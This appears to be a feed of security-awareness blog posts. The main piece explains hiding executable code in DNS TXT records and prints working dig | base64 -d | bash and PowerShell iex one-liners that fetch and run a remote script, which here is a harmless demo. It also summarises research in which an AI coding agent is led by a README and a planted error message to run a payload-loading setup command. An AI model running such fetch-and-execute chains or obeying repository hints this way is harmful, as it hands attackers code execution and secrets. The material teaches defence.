A customer logs in to a new portal and opens their invoice.

They notice the document number in the page address and try changing it.

The application displays another customer’s invoice.

They did not crack a password. They did not bypass the login. They did not use any special tool.

They changed one number.

The login still works. Invoices load correctly. The application passed its standard tests.

The application verified that the user was logged in. It did not verify whether that user was allowed to view this particular document.

The feature worked.

Just not securely.

It passed acceptance testing

During application handover, the expected workflow is usually tested.

A user logs in, completes a form, submits an order or downloads a document. An administrator updates a record. The data is saved and the necessary information is passed to the next system or person.

This type of testing answers an important question:

Does the application do what we ordered?

It does not automatically answer another one:

What does the application allow when someone uses it differently from the expected workflow?

Can a regular user open someone else’s document? Can they access a function intended for an administrator? Can they see information that does not belong to them? Can they skip part of the process?

A security issue does not have to cause the application to crash or display an error.

Quite the opposite. The application may process the request without any problem.

Just for the wrong user or with someone else’s data.

Are you accepting or launching a web application?

Send a brief description of the application, its user types and the planned handover date. I will tell you whether it fits the Web Application Security Review or needs a Custom Penetration Test.

Send a brief description of the application

When development speeds up

AI tools can significantly speed up web application development.

They can help create login flows, administration interfaces, forms, file uploads, exports and integrations with other systems. A working version can appear very quickly.

That is not a problem by itself.

The problem starts when development speed is mistaken for verification of the result.

Every new feature introduces decisions the application must make correctly:

• Who is allowed to open this page?
• Who owns this document?
• Who is allowed to modify the record?
• What can a regular user do, and what is restricted to an administrator?
• Which data is the application allowed to display?

AI can create the feature. Someone still needs to verify who can use it and what it allows them to access.

The same applies to conventional development. With applications built or significantly accelerated using AI, however, it is easy to skip the security review because the working result looks finished very early.

A different perspective

A security finding does not automatically mean the vendor or developer did a poor job.

The development team must deliver the agreed features, connect the individual components, fix bugs and ensure that the application works as a whole.

Security should be part of good development. An independent review still serves a different purpose.

A developer may ask:

Can the customer view their invoice?

A security review adds a second question:

Can they also view someone else’s invoice?

It does not test only the expected workflow. It also checks modified identifiers, bypassed roles, access to other users’ data and other situations that may not be covered by standard acceptance testing.

Development testing and an independent security review are not competing activities.

They answer different questions.

While there is still time

The best time for an independent review is before final acceptance, launch or final payment for the project.

The vendor still has the application in context. The development team is available. Documentation and the test environment are close at hand.

Problems can be addressed while the cooperation is still active, rather than after customers are already using the application and the original team has moved on to another project.

The company also receives a practical basis for deciding:

• what needs to be fixed before launch;
• which issues have the greatest practical impact;
• what can be addressed later;
• whether a limited security review is enough;
• or whether the project needs a broader penetration test.

A review can also be useful for an application that is already running. Handover is nevertheless a natural point at which the company accepts responsibility for the system, its users and its data.

It is better to know what you are actually accepting.

Not a stamp of approval

The purpose of a security review is not to certify that an application is secure once and for all.

No honest test can provide such a guarantee. Every assessment takes place at a particular time and within a predefined scope.

The result should not be an unexplained automated list of technical abbreviations either.

The client needs to know:

• what was found;
• what practical impact the issue may have;
• how serious it is;
• how the developer can verify it;
• what should be fixed first.

The deliverable should be a prioritised report with specific remediation recommendations.

Not a general warning. A practical basis for remediation and further decisions.

Security review or penetration test?

For one smaller web application, a Web Application Security Review may be the appropriate option.

It has a predefined scope and focuses on the most important parts of the application: login, user roles, permissions, main workflows, handling of non-public data, forms, file uploads and APIs.

The deliverable includes a prioritised report, remediation recommendations and a final consultation.

The price is CZK 35,000 for a predefined scope.

For a larger or more sensitive application, a Custom Penetration Test is usually a better fit. This typically includes systems with more user roles, multiple environments, a larger API, more integrations or specific risk scenarios.

A custom penetration test also has a clearly agreed scope. It is defined individually according to the application, the objective of the test and the required depth.

The price is determined after a short scoping process.

Before you sign off

A successful handover confirms that the application does what was ordered.

It does not automatically confirm who can use its features to access particular accounts, documents and data.

AI can significantly accelerate development. It cannot replace an independent review of the result.

Before final acceptance, it therefore makes sense to ask one more question:

Has anyone tried using the application differently from the documented workflow?

Send a brief description of the application, its user types, environments and planned handover date.

Based on the scope, I will recommend either a Web Application Security Review or a Custom Penetration Test. If neither option is appropriate for the project, I will tell you.

Send a brief description of the application

The post The Application Works. Is That Enough? appeared first on DIGITAL SELF-DEFENSE.

One of them is hiding code in DNS records. More specifically, in TXT records, which are meant for storing text data. TXT records are commonly used to prove that you control a domain, or to configure SPF, DKIM and DMARC for email. Technically, though, they can contain almost any text.

And if a DNS record can contain ordinary text, it can also contain a command.

For example, a command that gets executed in a shell after being loaded. In a harmless demo, it can print a message, create a file or display ASCII art. In a malicious version, it can open remote access to your machine.

The important detail is this: the malicious code does not have to be stored in the repository at all. A static code scanner, a commit review or a quick human review may not see it, because the repository only contains a script that “loads configuration from DNS”. The actual payload appears only when the DNS record is read and its content is executed.

Demo

You can try this technique without using any malicious payload.

The following example does not download anything, does not connect anywhere and only creates a file called ds.txt with a simple ASCII cat:

 /_/
( o.o )
 > ^ <
DNS TXT says meow.

The point is not what the script does. The point is that the code is not stored in a file on disk, but in a DNS TXT record.

Linux and macOS

For Linux and macOS, the DNS TXT record can look like this:

txt-demo-sh.digitalnisebeobrana.cz TXT "Y2F0ID4gZHMudHh0IDw8J0VPRicKIC9cXy9cCiggby5vICkKID4gXiA8CkROUyBUWFQgc2F5cyBtZW93LgpFT0YKY2F0IGRzLnR4dAo="

1. Show the script

This command reads the DNS TXT record, decodes it and prints the script:

dig +short TXT txt-demo-sh.digitalnisebeobrana.cz | tr -d '"' | base64 -d

Output:

cat > ds.txt <<'EOF'
 /_/
( o.o )
 > ^ <
DNS TXT says meow.
EOF
cat ds.txt

2. Run the demo

This command does the same thing, but passes the decoded content directly to bash:

dig +short TXT txt-demo-sh.digitalnisebeobrana.cz | tr -d '"' | base64 -d | bash

Result: a file called ds.txt is created in the current directory and its content is printed to the terminal.

The mechanism is simple:

DNS TXT → Base64 → decoding → bash

In this demo, it only saves a harmless cat. The same principle could also write an SSH key, download another script, exfiltrate tokens or open a reverse shell.

The problem is not DNS itself. The problem is mainly this part:

... | bash

It says: “Take text that came from the outside and run it as a program.”

Windows / PowerShell

On Windows, you can do something similar with PowerShell. The TXT record can contain a Base64-encoded PowerShell script:

txt-demo-ps.digitalnisebeobrana.cz TXT "JGFydCA9IEAnCiAvXF8vXAooIG8ubyApCiA+IF4gPApETlMgVFhUIHNheXMgbWVvdy4KJ0AKU2V0LUNvbnRlbnQgLVBhdGggLlxkcy50eHQgLVZhbHVlICRhcnQgLUVuY29kaW5nIFVURjgKR2V0LUNvbnRlbnQgLlxkcy50eHQK"

1. Show the script

This command reads the DNS TXT record, decodes it and prints the PowerShell script:

$s = ((Resolve-DnsName -Type TXT txt-demo-ps.digitalnisebeobrana.cz).Strings -join '')
[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($s))

Output:

$art = @'
 /_/
( o.o )
 > ^ <
DNS TXT says meow.
'@
Set-Content -Path .ds.txt -Value $art -Encoding UTF8
Get-Content .ds.txt

2. Run the demo

This command does the same thing, but executes the decoded content directly:

$s = ((Resolve-DnsName -Type TXT txt-demo-ps.digitalnisebeobrana.cz).Strings -join '')
iex ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($s)))

Result: a file called ds.txt is created in the current directory and its content is printed to the terminal.

iex is short for Invoke-Expression. In other words: it takes text and runs it as PowerShell code.

The mechanism is the same as with the shell:

DNS TXT → Base64 → decoding → PowerShell

A DNS TXT record does not look dangerous by itself. Base64 is not malware by itself. PowerShell is a normal administration tool. The risk appears when all of them are chained together and external content is executed automatically.

What 0DIN Showed

Researchers from Mozilla 0DIN described an attack in which an AI agent was given a seemingly simple task: set up a downloaded repository.

The repository did not need to contain obvious malware. The README offered a normal-looking first-time setup:

pip3 install -r requirements.txt
python3 -m axiom init

At first glance, these are just two ordinary commands: install dependencies and initialize the project.

The original write-up describes the attack as having three parts. That does not mean the user or the AI agent has to manually run three separate commands. It is better understood as three connected layers:

1. a repository that looks trustworthy,
2. an initialization routine that looks like a normal part of the setup,
3. a setup script that loads the actual payload from a DNS TXT record and executes it.

The command:

python3 -m axiom init

runs another setup script internally. That script queries DNS, reads a TXT record, decodes its content and passes it to the shell.

An error message such as:

Axiom not initialised. Run: python3 -m axiom init

acts more like a fallback. If the agent ignores the README and tries to use the package without initialization, the package tells it to run the same command again as a normal fix.

So there are two paths to the same result.

The agent can follow the README:

pip install → init → DNS TXT → payload execution

Or it can skip the README, hit an error and then “fix” it:

pip install → error → suggested init → DNS TXT → payload execution

In both cases, the goal is the same: get the agent to run an initialization command that looks normal, but actually opens the path to an external payload.

That is the uncomfortable part. Each individual step can look harmless. The problem appears when they are chained together.

Why This Matters for AI Agents

A human may at least pause when seeing a command like:

dig ... | base64 -d | bash

and ask: wait, why am I running something from DNS?

AI agents often work differently. They are given a goal, such as “get this project running”, and then they try to solve whatever blocks them. If something fails, they read the README, an error message, an issue or a terminal hint, and try to continue.

That is exactly their strength. And also their weakness.

The agent does not have to be “hacked” in a dramatic sense. It only has to be helpful enough. It runs the suggested command because it fits the task. And if it has access to a shell, the network and your working directory, the damage can be very practical:

• leaking API tokens,
• leaking SSH keys,
• accessing private repositories,
• reading configuration files,
• accessing cloud credentials,
• running additional code,
• opening a reverse shell.

In other words: this is not only “AI security”. It is classic developer workstation security, accelerated and amplified by an AI agent.

Will Antivirus or a Firewall Stop It?

I would not rely on that.

A normal repository scan may not find anything suspicious, because the real payload is not in the repository. It is in DNS.

Antivirus may also miss it if it only sees normal tools: Python, shell, dig, PowerShell, a DNS query. And firewalls often allow DNS traffic, because ordinary internet use breaks very quickly without DNS.

That does not mean defense is impossible. Good EDR, process monitoring, blocking suspicious child processes, limiting outbound traffic or detecting suspicious chains such as base64 | bash and Invoke-Expression can help.

It is just not a good idea to rely on them as the only protection.

How to Defend Against It

The basic rule is simple: an unknown repository is unknown code. And that is still true when an AI agent opens it for you.

In practice, that means:

• Do not blindly run setup scripts from unknown projects.
• Do not treat an AI agent’s recommendation as a security review.
• Be careful with constructs such as curl | bash, wget | bash, dig | bash, base64 -d | bash, bash -c "$something" or PowerShell Invoke-Expression.
• Check not only the command being executed, but also what it loads at runtime.
• Run unknown projects in isolation: a container, VM, throwaway user, devcontainer or sandbox.
• Do not give AI agents unnecessarily broad permissions.
• Do not keep production tokens, SSH keys, cloud credentials or other long-lived secrets available in the environment.
• Limit outbound traffic from development environments where it makes sense.
• Disable or heavily restrict automatic approval of shell commands in AI coding agents.
• Treat README files, error messages, issues and documentation in unknown repositories as untrusted input, not as authoritative instructions.

A good control question is:

Can I actually see all the code that will run?

If a command downloads something, reads from DNS, builds code from variables, decodes Base64 or pipes data into a shell, the answer is often: no, I cannot.

At that point, it is no longer “just setup”.

It is remote code execution with the privileges of a user who often has far more sensitive things on their machine than they realize.

Summary

DNS TXT records are not dangerous by themselves. Base64 is not dangerous by itself. AI agents are not dangerous by themselves either.

The problem appears when these things are combined:

trustworthy-looking project
+ helpful AI agent
+ shell with too much access
+ externally loaded payload
= problem

So it is worth repeating an old rule in a new form:

Do not copy random commands from the internet into your terminal.
And do not let your AI agent do it either.

Sources

• Mozilla 0DIN: Clone This Repo and I Own Your Machine
• RFC 1464: Using the Domain Name System To Store Arbitrary String Attributes
• RFC 1035: Domain Names – Implementation and Specification
• Microsoft Learn: Resolve-DnsName
• Microsoft Learn: about_PowerShell_exe

The post Code Hidden in DNS: When an AI Agent Opens the Door appeared first on DIGITAL SELF-DEFENSE.

1. Introduction

This document serves as a personal threat model focused on cybersecurity in the area of cryptocurrencies. Its aim is to identify potential threats and vulnerabilities and propose measures to minimize them.

2. Identification of Actors and Assets

Actors

• Hackers
• Regulatory Bodies
• Competitors
• Close Associates

Assets

• Crypto Wallet
• Transaction History
• Investment Strategy

Actors and Assets: Detailed View

In this part of the threat model, it is crucial to identify in detail the actors who could pose a threat and the assets they might want to compromise. Each actor and asset should be elaborated on, including motivations, capabilities, and methods of attack.

Hackers

• Motivation: Financial gain, reputational reasons, ideological beliefs
• Capabilities: Malware, ransomware, phishing attacks
• Attack Methods: Wallet infiltration, keylogging, SIM swapping

Regulatory Bodies

• Motivation: Oversight and regulation, ensuring compliance with laws
• Capabilities: Legal measures, access to public and private databases
• Attack Methods: Court orders, asset seizure, audits

Competitors

• Motivation: Gaining competitive advantage, financial gain
• Capabilities: Industrial espionage, social engineering
• Attack Methods: Infiltration, misinformation, market manipulation

Close Associates

• Motivation: Personal interests, possible financial gain
• Capabilities: Access to personal devices, knowledge of personal information
• Attack Methods: Using known passwords, accessing unsecured devices

Assets

Crypto Wallet

• Importance: High
• Attack Types: Phishing, malware, physical access
• Mitigations: Hardware wallet, 2FA, strong passwords

Transaction History

• Importance: Medium
• Attack Types: IP tracking, exchange compromise
• Mitigations: Use of VPN, decentralized exchanges

Investment Strategy

• Importance: Medium to High
• Attack Types: Social engineering, industrial espionage
• Mitigations: Limiting information sharing, using encrypted communication

3. Vulnerabilities

Using Online Wallets with Low Security

• Description: Online wallets are often targeted by attacks, especially if not properly secured.
• Actors: Hackers, competitors
• Attack Types: Phishing, brute-force attacks
• Mitigations: Switching to a hardware wallet, using 2FA

Unsecured Wi-Fi Network

• Description: Using unsecured Wi-Fi networks can allow attackers easy access to your data.
• Actors: Hackers, close associates
• Attack Types: Man-in-the-middle attacks, sniffing
• Mitigations: Use of VPN, connecting only to trusted networks

Using Outdated Software

• Description: Old or outdated software may contain vulnerabilities that can be exploited for infiltration.
• Actors: Hackers, regulatory bodies
• Attack Types: Exploitation of known vulnerabilities
• Mitigations: Regular software updates, application of security patches

Insufficient Two-Factor Authentication (2FA)

• Description: Absence or poor implementation of 2FA can lead to easy access to sensitive data.
• Actors: Hackers, close associates
• Attack Types: Brute-force attacks, SIM swapping
• Mitigations: Activation and proper configuration of 2FA

Insufficient OPSEC (Operational Security)

• Description: Insufficient OPSEC may include poor handling of passwords, keys, and other sensitive data.
• Actors: All
• Attack Types: Social engineering, phishing
• Mitigations: Cybersecurity education, use of a password manager

4. Attack Vectors

Phishing Attacks

• Description: Attacks that aim to obtain sensitive information through fraudulent emails or websites.
• Actors: Hackers, competitors
• Vulnerabilities: Insufficient OPSEC, using online wallets with low security
• Mitigations: Cybersecurity education, use of 2FA

Man-in-the-Middle Attacks

• Description: Attacks where the attacker eavesdrops on or manipulates communication between two parties.
• Actors: Hackers, regulatory bodies
• Vulnerabilities: Unsecured Wi-Fi network, outdated software
• Mitigations: Use of VPN, encryption of communication

Social Engineering

• Description: Manipulating people to obtain sensitive information or system access.
• Actors: Competitors, close associates
• Vulnerabilities: Insufficient OPSEC, insufficient 2FA
• Mitigations: Cybersecurity education, limiting information sharing

SIM Swapping

• Description: An attack in which the attacker gains control of the target’s SIM card.
• Actors: Hackers
• Vulnerabilities: Insufficient 2FA, insufficient OPSEC
• Mitigations: Use of hardware-based 2FA, high level of OPSEC

5. Measures

Using a Hardware Wallet

• Description: Hardware wallets provide a high level of security for storing cryptocurrencies.
• Actors: Hackers
• Suitable for: Protecting the crypto wallet
• How to Implement: Purchase a reputable hardware wallet such as Ledger or Trezor and transfer your cryptocurrencies to it.

Using a VPN

• Description: A VPN provides anonymity and security when browsing the internet.
• Actors: Regulatory bodies, hackers
• Suitable for: Protecting transaction history, securing Wi-Fi
• How to Implement: Choose a trusted VPN provider and enable it when connecting to the internet.

Activation and Proper Configuration of 2FA

• Description: Two-factor authentication adds an additional layer of security.
• Actors: Hackers, close associates
• Suitable for: Protecting the crypto wallet, securing online accounts
• How to Implement: Enable 2FA on all important accounts and use an app like Google Authenticator or a hardware key like YubiKey.

Cybersecurity Education

• Description: Education and awareness are key to recognizing and preventing attacks.
• Actors: All
• Suitable for: Protection against all types of attacks
• How to Implement: Take cybersecurity courses, read current news and articles, and participate in webinars and conferences.

6. Conclusion

This personal threat model is the first step toward ensuring my cybersecurity in the field of cryptocurrencies. I plan to regularly update this document and implement new security measures according to the evolving threat landscape.
“`

The post Personal Threat Model appeared first on DIGITAL SELF-DEFENSE.

Video sérii naleznete na tomto odkazu

Jednotlivé díly:

The post Videosérie Digitální Sebeobrany appeared first on DIGITAL SELF-DEFENSE.

Klávesová zkratka

1. V textovém editoru vytvoříme skript, který zavolá okamžité vypnutí počítače. Pro otestování prozatím zakomentujeme příkaz pro vypnutí a vložíme kód pro zapsání textu do souboru killswitch.sh:
   #!/bin/bash
t=$(date);
echo $t > /home/ross/tools/killswitch/test;
#sudo poweroff -f

2. Pomocí příkazu chmod nastavíme právo pro spuštění:
   $ chmod +x ./killswitch.sh
3. Zkontrolujeme práva:
   $ ls -al
total 12
drwx------ 2 ross ross 4096 31. led 16.23 .
drwx------ 5 ross ross 4096 26. led 15.35 ..
-rwx------ 1 ross ross 100 31. led 16.17 killswitch.sh

4. Nastavíme klávesovou zkratku, která zavolá náš skript. Toto se může lišit podle prostředí. Toto je příklad pro Gnome: Settings -> Keyboard Shortcuts -> + (úplně dole)
   1. Name: cokoliv
   2. Command: Cesta k našemu skriptu
   3. Shortcut: po kliknutí stiskněte požadovanou klávesovou zkratku
   4. Klikněte na “Add”
5. Test: stiskněte vybranou klávesovou zkratku. Nově vytvořený soubor test by měl obsahovat aktuální čas. Pokud ne, něco je špatně:)
6. Upravíme skript pro “ostrý provoz”:
   #!/bin/bash
#t=$(date;echo $USER);
#echo $t > /home/ross/tools/killswitch/test;
sudo poweroff -f
7. Pro zavolání příkazu sudo poweroff -f jsou potřeba administrátorská práva. To můžeme obejít vložením nasledujícího řádku do souboru /etc/sudoers:
   ross ALL = NOPASSWD: /sbin/poweroff
   (poweroff -f zabrání vyskakování potvrzovacích oken a vypne počítač okamžitě)
8. Uložíme rozdělanou práci a otestujeme klávesovou zkratku.

 Vypnutí po odpojení USB zařízení

1. Připojíme do USB portu zařízení, které chceme použít jako náš killswitch.
2. Spustíme monitoring připojení zařízení:
   $ udevadm monitor --property
3. USB zařízení odpojíme z počítače, v terminalu by se měl zobrazit výpis podobný tomuto:
   (...)
UDEV [18888.225725] remove /devices/pci0000:00/0000:00:14.0/usb1/1-2 (usb)
ACTION=remove
DEVPATH=/devices/pci0000:00/0000:00:14.0/usb1/1-2
SUBSYSTEM=usb
DEVNAME=/dev/bus/usb/001/038
DEVTYPE=usb_device
PRODUCT=950/6535/110
TYPE=0/0/0
BUSNUM=001
(...)
4. V textovém editoru vytvoříme pravidlo pro zařízení (jako root):
   $ sudo vim /etc/udev/rules.d/85-my_killswitch_rule.rules
5. Do souboru vložíme následující řádek:
   ACTION=="remove", ENV{PRODUCT}=="950/6535/110", RUN+="/root/killswitch.sh"(obsah proměnné ENV{PRODUCT} zkopírujeme z výpisu příkazu udevadm monitor --property)
6. Aktualizujeme pravidla (root):$ sudo udevadm control --reload-rules
7. Jako root vytvoříme v textovém editoru skript /root/killswitch.sh s tímto obsahem:
   #!/bin/sh
t=$(date);
echo $t > /root/test
#shutdown now
   (pozor, skript bude se spouštět pod uživatelem root! Pokud by se někdo dostal k tomuto skriptu, mohl by ho upravit a získat administrátorská práva. Proto musí být pro “běžného” uživatele nedostupný pro zápis.)
8. Přidáme atribut pro  spuštění
   # chmod +x /root/killswitch.sh
9. Otestujeme.
10. Ve skriptu odkomentujeme poslední řadek (vymazáním #).
11. Připraveno k ostrému testu.

The post Killswitch pro Linux appeared first on DIGITAL SELF-DEFENSE.

Here are a few tips on how to reduce that risk.

1. Set up automatic locking

   Never leave your phone or laptop unlocked in public places, for example on a table in a restaurant, café or bar.

   Set your phone to lock automatically after a reasonably short time. One minute should be about right: not too long, but also not so short that it makes normal use annoying.

   Get into the habit of locking your laptop every time you step away from it. Even if you only get up from your café table to get some sugar. On Windows and most Linux distributions, you can use the Win + L keyboard shortcut. On a MacBook, Command + Control + Q should do the same.

2. Use a good lock

   When travelling, use fingerprint unlock or Face ID for your phone or laptop whenever possible. During the rest of the year, I usually recommend using a sufficiently long and unique password or PIN. But on holiday, the bigger problem is often the number of cameras around you and tourists filming everything they see. It is easy not to notice that someone is watching or recording you while you type your password.

   If you do use a password or PIN, avoid the obvious ones like “password” or “iloveyou”. PINs like “0000” or “1234” are not a great idea either.

   Unlocking your phone with a pattern, by connecting dots on the screen, can also be risky. Your fingers leave traces on the display.

   Tip: Use passwords in Czech or Slovak.

3. Be careful with public Wi-Fi networks

   You know how it goes. You land in a country outside the EU and need to read an e-mail, post a photo on Instagram or find accommodation. And you do not really want to pay for data roaming. So, right there at the airport, you search for the nearest public and free Wi-Fi network and connect to it.

   And guess what? Hackers know that people do this at airports. It is not difficult for them to create a Wi-Fi network called something like “Airport Free Internet” from their own device. Then they just wait for someone to connect and start collecting data.

   The same applies to restaurants and cafés. That is why it is usually better to pay extra for roaming. And if that is really not possible for some reason, at least use a VPN. It encrypts your data so that an attacker cannot read it.

4. Do not tell the world that your home is empty

   The urge to show your friends that you are enjoying your holiday can be hard to resist, but try to wait. A photo from Bibione or Mont Blanc can be a great tip for a burglar, who will immediately know that no one is home to disturb them.

   You can upload photos to Instagram or Facebook after you return. And you will probably enjoy your holiday without social networks much more anyway.

   Tip: Be offline. It is nice

5. Be careful with photos of children

   Photos of your children from the beach that you share on social networks may end up on websites used by paedophiles. Such photos can be a strong attraction for them. If you want to share these photos with family or friends, send them by e-mail, or even better, through a messenger app, ideally via Signal Messenger.

6. Enable disk encryption

   If you lose your laptop during your holiday, it is definitely better if the data on the disk cannot be read by someone who might misuse it.

   On Windows, you can use BitLocker. On Apple devices, there is FileVault, and on Linux there is LUKS. Alternatively, you can use the open source software VeraCrypt.

7. Border checks and adult content

   In some countries, border officers may ask you for passwords to your devices or even your social media accounts. If you are travelling to such a country, be careful about what you have stored on your device. There are countries where saved adult content may get you into trouble.

   Many people travelling to these countries use a different, “clean” laptop and phone.

8. Back up before your holiday

   If you lose your device during your holiday, a backup of your files or contacts will definitely come in handy. Do not underestimate it.

If your phone or laptop is actually lost or stolen, here are a few tips on how to minimise the damage.

The post 8 tips for a digitally safer holiday appeared first on DIGITAL SELF-DEFENSE.

This increases the risk of losing or stealing these devices. And because the person who has just found out that he has lost his device often panicking (it’s a very stressful situation) and in the first moments is unable to calmly realize what needs to be done, it is good to have these steps ready.

Here is the checklist of steps that should follow after losing or stealing your phone or laptop. You can download it here (pdf), print it and check steps out.

1. Find location
   • Android: android.com/find
   • iPhone: icloud.com/find
2. Try to send sms to your phone
   • If messages appear on the display, you can give a message to a potential finder
   • iPhone: Lost Mode
3. Contact IT
   • It is necessary to block access to internal systems of the company or organization for accounts
4. Remote backup
   • If your phone has a remote backup application, back up now.
5. Lock and wipe
   • Android: At android.com/find activate lock and erase features
   • iPhone: At icloud.com/find select your device and wipe it.
6. Sign out of accounts
   • From another device, log in to your accounts where you are signed in lost device and log off those accounts on the lost device
     • Facebook, Twitter, Gmail, Alza etc.
     • Ask others to temporarily remove you from conversation groups (e.g., Signal, Telegram, Threema, Whatsapp, Slack, etc.) where sensitive information may occur (yours or others).
7. Change passwords on accounts that were logged on a lost device
8. Send your cryptocurrencies to the new address
   • If you have a wallet backup, restore it, create a new one, and forward there your cryptocurrencies
9. Contact your phone operator to lock SIM card
10. Block payment cards stored in device applications
    • Your credit cards may be stored in some apps or websites
11. Notify friends and/or customers
    • Your accounts may be misused for phishing attacks, tell your friends about this possibility

The post Lost or stolen phone/computer appeared first on DIGITAL SELF-DEFENSE.

How can it help not only in finding content on the Internet and how it can help protect your private or corporate communications?

VPN stands for “Virtual Private Network”. Simply put, using VPN, your device is connected to a local network no matter where it is physically located. For example, you can safely print to your home or business printer located in Prague from New York. Likewise, you can use VPN to view the American version of Netflix from Brno (which has different content and is “invisible” for users who connect from other parts of the world).
The introduction of new regulations for Internet content providers has increased the likelihood that servers that provide content for EU countries other than the rest of the world will grow. VPN connectivity remains one of the few ways to access unregulated content.

How does it work?

In a nutshell:

You install a program (called a VPN client) on a computer (or phone), select a destination (VPN server) that can be anywhere in the world, and from now on you use the Internet as if you were physically in the VPN server location. For example, if you have a VPN server in Chicago, you are in Chicago for websites (and other services) as well. Basically, in a matter of seconds, you were virtually teleported to the other end of the world. You can use services that are locally restricted (such as Netflix or the Czech Television, which can only be viewed from the territory of the Czech Republic and not normally viewed from holiday).
In addition, your communication with the VPN server is encrypted and cannot be easily tapped (eg if you are connected to a public Wi-Fi in a cafe).
The disadvantage may be a lower speed of VPN connection, depending on server speed and encryption method. But this reduction is not very large in practice.

How do I access VPN?

There are two ways, both have advantages and disadvantages:

1. Register with a VPN provider

Example: NordVPN, ProtonVPN, Cryptohippie, VPN.ac.

You can simply pay for VPN as a service. There is a lot of operators, they differ in price, number of servers around the world, guaranteed speed, anonymity rate and other parameters.
How to choose the best one? There is no simple answer to that. Much depends on what you want to use VPN for. If you only need to connect to a server in one country from time to time, a cheaper service with fewer servers is enough. In order to watch videos or download more data, you need more guaranteed speed and unlimited download or upload limits.
Some examples of VPN providers are NordVPN, ProtonVPN, VPN.ac. Their VPN connection applications exist for all major operating systems on both computers and phones, and have a large number of servers around the world. ProtonVPN allows you to use VPN for free, but with a small number of servers, slower speeds and single device limitations. The advantage is that you can try VPN before paying.
There are many operators who offer a free VPN. However, because server operation costs a lot of money, it is often financed from the sale of user data or direct abuse of transmitted data (VPN operator, unlike your ISP, “sees” your data). Therefore, it seems safer to pay for the service. But even the fact that you pay for the service will not guarantee that the operator does not use your data. That is why the credibility of the provider needs to be taken into account.
A detailed comparison chart of different VPN providers can be found here.

Pros: Simple installation, a large number of servers, the operator solves security
Cons: The provider can read your data, price, different service providers can block VPN server IP addresses

2. Own VPN server

Example: OpenVPN

You can run VPN yourself on your home or business server (with a public IP address). There are several possible solutions, whether commercial or open source, such as OpenVPN.
This allows you to configure the server to suit your needs and not share your data with any operator and use it to access your internal network from outside (your computer will behave as if you were on a home or business network). If you have sufficient knowledge (or your own IT department) and need a VPN to access your own network rather than access services in other countries, this option is more appropriate for you.

Pros: No one can see the data outside your network, you have access to devices on your network
Cons: Installation and configuration (you need your own server and knowledge for correct and secure setup), server maintenance and updates, the number of servers in different locations is limited by your abillities.

VPN a little more detail

To understand the VPN, I need to first explain what happens when you connect to a server on the Internet – for example, enter www.netflix.com into your browser:

Your computer (or phone) in Prague first contacts the first point on the network, today usually a Wi-Fi router in your home, in your company or in a cafe. The router will connect to the Internet provider (eg UPC, O2, etc.) and your request will reach the server where the Netflix website is located via various other servers along the way. Depending on your location, it will display a local version (in our case Czech). How does service provider know where you are? Simply according to your IP address – these are specific to different parts of the world and can be located. So Netflix sees that you are in the Czech Republic and will not allow you to look at other versions.

VPN disguises your location.

VPN works on the client – server principle. This means that your device has a program called a client that connects to the server (eg, New York) and creates a data tunnel between your device and the VPN server. All data flowing through this tunnel is encrypted and unreadable to anyone else on the network (or your ISP).
The VPN server then connects to the server (in our case Netflix) you want to visit under its IP address and the operator does not see your actual location but the location of that VPN server and can adjust the data offered to you (US version) accordingly.

Home or business network

If you have your own VPN server, your computer or phone is connected to the network just as if it were physically in your home or business. This gives you access to other computers and devices such as printers, shared disks, internal company systems, etc. The connection is encrypted, so there is no danger (if properly configured) of being tapped.

The post VPN – Protecting Your Communication and Salvation for the European Internet? appeared first on DIGITAL SELF-DEFENSE.

1. You can choose your username and password (only lowercase letters and up to three characters long), then click the “Register” button. This simulates registration on a server (the name and password are stored in the database).
2. Click the “Run” button: this will trigger the attack – the program tests the character combinations in the “Password” field in the “Login” section (simulation of the login form).
3. Once you’ve found the combination, you can try logging in with the “Login” button.

Basic info about creating passwords below.

Register

Choose username:

Password (max. 3 lowercase letters)

* Brute-force attack is time and resources consuming, it would take too long in the web browser

Register

Login

Username

Password

Login

Brute-force

Run
Stop

Server database

Username

Password

 

 

The post Brute-force attack – demo appeared first on DIGITAL SELF-DEFENSE.

The post How long it can take to crack your password? appeared first on DIGITAL SELF-DEFENSE.